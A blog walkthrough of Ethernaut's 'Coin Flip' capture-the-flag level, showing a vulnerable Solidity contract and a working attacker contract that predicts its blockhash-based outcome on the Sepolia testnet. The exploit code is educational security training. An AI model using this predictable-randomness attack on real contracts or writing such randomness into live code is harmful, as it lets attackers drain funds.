Coin Flip - Level 03
Tags: 100daystooffload, ethernaut, ethereum, ctf
Published: 2023-08-01 07:10:35

## Problem statement

This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip. To complete this level you'll need to use your psychic abilities to guess the correct outcome 10 times in a row.

 Things that might help

* See the ["?"](https://ethernaut.openzeppelin.com/help) page above in the top right corner menu, section "Beyond the console"

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {

  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}
```

## Solution

Start with creating a new contract for the current level by clicking on the button, __Get new instance__. Remember to have enough eth in the connected wallet and that it's connected to the Sepolia network.

Open up the developer tool in your browser (F12) and get the contract address, by executing this code in the console window.

```javascript
await contract.address
```

Open a new tab in your browser (Ctrl+t) and go to [Remix](https://remix.ethereum.org/).

Create a new file under the __contracts__ folder and name it _CoinFlipCheater.sol_.

![File explorer in remix](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fi6sypklls0h9vfl2g8j.png)

Add the following code to the new file.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface CoinFlip {
  function flip(bool _guess) external returns (bool);
}

contract CoinFlipCheater {
  address coinFlipAddress;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor(address _coinFlipAddress) {
      coinFlipAddress = _coinFlipAddress;
  }

  function flip() external returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool should_guess = coinFlip == 1 ? true : false;

    return CoinFlip(coinFlipAddress).flip(should_guess);
  }
}
```

Go to the compiler and compile the new contract, _CoinFlipCheater_.

![Compiler in remix](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/xx5cu10met8pm3d8aru7.png)

Next step is to deploy the contract to the Sepolia network. First make sure the you select the correct environment, __Injected Provider - MetaMask__

![Environment](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/mhzszwb8vu72ure71roy.png)

And make sure that the correct contract is selected.

![Contract](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/c722qdll2pweeicvulad.png)

Note that we will need to give the address to our contract (the one we got in the beginning) to the right of the deploy button. Push the **Deploy** button and sign the transaction with your MetaMask wallet.

There should be a button named flip when the contract has been deployed.

![Flip button](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9c9jk6c4q0tn604gj59j.png)

Now we only need to push that button 10 times and sign each transaction with the MetaMask wallet, however we need to have some delay between the pushes, there can only be on flip per block.

We can confirm that we have the value ten in our browser console window with this code.

```javascript
await contract.consecutiveWins()
```

When 10, finish up the challenge by clicking on the button, **Submit instance**, to commit and update the progress on the ethernaut contract.

## Explanation

It's difficult to create randomness in a Solidity contract because Ethereum transactions need to be deterministic.

In this contract the block number is the source for creating randomness.

```solidity
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
```

So if we only know the block number it would be easy for us to guess the correct value to pass to the flip method.

The solution is to let another contract do the guessing for us and have access to the current block number.

```solidity
  function flip() external returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number - 1));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue / FACTOR;
    bool should_guess = coinFlip == 1 ? true : false;

    return CoinFlip(coinFlipAddress).flip(should_guess);
  }
```

By running the same code as the CoinFlip contract will do we will get the expected value of the _guess_ variable. That value is then used when calling the actual flip method on the CoinFlip contract.

To wrap it up we will only need to call our new contract and its _flip_ method to guess the correct value now.

The feedback from when the challenge is completed is about how to handle random numbers in a better way.

![Completed](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/2exe4ifiyiody9inn1fe.png)
## Resources

* [Coin Flip](https://ethernaut.openzeppelin.com/level/3) - This challenge
* [Remix](https://remix.ethereum.org/) - Web based IDE for Solidity
* [Solidity](https://docs.soliditylang.org/en/v0.8.21/) - Solidity documentation